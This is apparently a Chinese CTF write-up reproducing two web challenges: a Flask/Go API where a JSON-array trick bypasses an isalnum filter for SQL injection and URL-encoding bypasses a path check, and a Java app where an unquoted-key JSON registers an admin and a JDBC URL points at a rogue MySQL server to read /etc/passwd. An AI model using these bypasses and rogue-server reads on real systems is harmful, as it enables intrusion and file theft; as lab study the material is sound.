长城杯线下赛赛后复现

长城杯线下赛赛后复现

前言

去打了长城杯决赛,结果全程坐牢,果然不联网的web太难了,赛后拿到了两个web靶机的wp,复现一下。

fancyapi

目录结构

长城杯线下赛赛后复现_第1张图片

逻辑很简单,web用的是python的flask框架,然后go写了几个接口处理数据。

看看backend.go

func Flag(w http.ResponseWriter, r *http.Request ) {
	action:= r.URL.Query().Get("action")
	if action == "" {
		fail(w, "Error getting action")
		return
	}

	token:= r.URL.Query().Get("token")
	if token == "" {
		fail(w, "Error getting token")
		return
	}

	var secret string
	row := db.Sqlite.QueryRow("SELECT secret FROM token;")
	if err := row.Scan(&secret); err != nil {
		fail(w, "Error querying secret token")
		return
	}

	if action == "readFlag" && secret == token {
		data, err := ioutil.ReadFile("flag")
		if err != nil {
			fail(w, "Error reading flag")
			return
		}
		ok(w, fmt.Sprintf("Congrats this is your flag: %s", string(data)))
		return
	}
	ok(w, "Wrong token")
}

关键就在这里,action要readFlag,secrettoken,这个token的值是在数据库里的,再看

1634087643831.png

这里是可以造成sql注入的,注出token即可,但有个过滤,比赛时没有绕过去。。。然后基本上都在想办绕过这个过滤了。。

在app.py处

@app.route("/search", methods=["GET", "POST"])
def search():
   if request.method == "GET":
       return render_template("search.html")
   else:
       data = request.json
       if data['name']:
           if not isinstance(data['name'], str) or not data['name'].isalnum():
               return jsonify({"error": "Bad word detected"})
       if data['votes']:
           if not isinstance(data['votes'], int):
               return jsonify({"error": "Bad word detected"})
       r = requests.post(f"http://{server}/api/search", data=request.data)
       return jsonify(r.json())

/search路由的提交的数据传入go接口进行数据库查询,也就是上面sql注入的地方,提交方式为json。

vote参数为整数型,关键在name参数处有个isalnum。

绕过方法为多参数,但我比赛的时候尝试了多参数但是没有绕过去。后来拿到了wp,在本地简单复现一下。

搭建一个简单的app.py

from flask import Flask, request, jsonify

app = Flask(__name__)

@app.route("/search", methods=["GET", "POST"])
def search():
    if request.method == "GET":
        return "it is GET"
    else:
        data = request.json
        if data['name']:
            if not isinstance(data['name'], str) or not data['name'].isalnum():
                return jsonify({"error": "Bad word detected"})
        if data['votes']:
            if not isinstance(data['votes'], int):
                return jsonify({"error": "Bad word detected"})
        return "Legal data"

if __name__ == '__main__':
    app.run(host='0.0.0.0', port=5000)

因为isalnum的过滤只能提交字母和数字,如图

长城杯线下赛赛后复现_第2张图片

上面说了多参数,我只想到覆盖,看了wp用的是[]绕过

长城杯线下赛赛后复现_第3张图片

附上一张比赛时的原图(不是我做的)

长城杯线下赛赛后复现_第4张图片

这之后还有个过滤

@app.route("/", methods=["GET"])
def handle(path):
    if 'flag' in unquote(path):
        action = request.args.get('action')
        token = request.args.get('token')
        print(action)
        if action == "readFlag":
            return jsonify({"error": "Sorry, readFlag is not permitted"})
        r = requests.get(f"http://{server}/{path}", params={
            "action": action,
            "token": token
        })
    else:
        r = requests.get(f"http://{server}/{path}")
    return jsonify(r.text)

要传入action="readFlag"但这里对readFlag有过滤

readFlag没法绕,这里是对路由进行绕过,这里判断当请求路径为/flag时才进行下面的判断,所以

%66lag?action=readFlag即可

比赛时觉得无解,现在看来学到了很多,还是太菜了

work

一道java题,比赛的时候知道了大致的思路,但没有做出来,赛后复现一下。

主办方后来给了jar包。所以本地复现比较容易。

直接看后台操作

长城杯线下赛赛后复现_第5张图片

主要是这里。

				String url = request.getParameter("url");
        String name = request.getParameter("name");
        String pwd = request.getParameter("pwd");
        ArrayList<UserBean> arrayList = new ArrayList<>();
        if(! (url.isEmpty() || name.isEmpty() || pwd.isEmpty())){
            JdbcUtils jdbcUtils = new JdbcUtils(url,name,pwd);
          ......
        }

这里jdbc参数全可控,搭建恶意mysql服务器读文件即可

但在做这个操作前需要登陆admin

看注册这里

package com.example.jdbcSer;

import com.alibaba.fastjson.JSON;
import org.springframework.web.bind.annotation.*;
import java.util.regex.Matcher;
import java.util.regex.Pattern;

@RestController
public class Register {
    @GetMapping("/register")
    public boolean register(@RequestParam(value = "user", defaultValue = "{\"username\":\"hacker\",\"password\":\"guess\"}")String user) throws Exception {
        user = user.replace("'", "\"");
        Pattern pattern = Pattern.compile("\"username\":\"(.*?)\"");
        Matcher matcher = pattern.matcher(user);
        String username = "";
        while (matcher.find()){
            username =matcher.group();
        }
        if(!username.isEmpty()){
            user = user.replace(username, "\"username\":\"hacker\"");
        }

        UserBean o = JSON.parseObject(user, UserBean.class);
        JdbcUtils jdbcUtils = new JdbcUtils("jdbc:mysql://127.0.0.1:3306/www?serverTimezone=UTC", "root", "root");
        jdbcUtils.insert(o);
        return true;
    }
}

如果按照常规的json格式提交,不管什么username都会被替换成hacker

例如

{"username":"admin","password":"123456"}

长城杯线下赛赛后复现_第6张图片

注册成功,看看表里注册进了什么数据。

长城杯线下赛赛后复现_第7张图片

所以要绕过正则,这个正则很简单,用大小写或者畸形json数据即可,这里去掉双引号变成

{username:"admin","password":"123456"}

长城杯线下赛赛后复现_第8张图片

可以看到注册成功了。登陆

/login?data={username:"admin","password":"123456"}

登陆成功后来到admin。

先起恶意mysql服务器。

脚本地址

https://github.com/allyshka/Rogue-MySql-Server

启动脚本访问

http://127.0.0.1:8080/admin?url=jdbc:mysql://192.168.36.2:3306/www?serverTimezone=UTC&name=123&pwd=123

长城杯线下赛赛后复现_第9张图片

读到/etc/passwd 之后读flag就行。

这题应该还可以用jdbc反序列化,之后学了再来试试。

你可能感兴趣的:(ctfwp,ctf)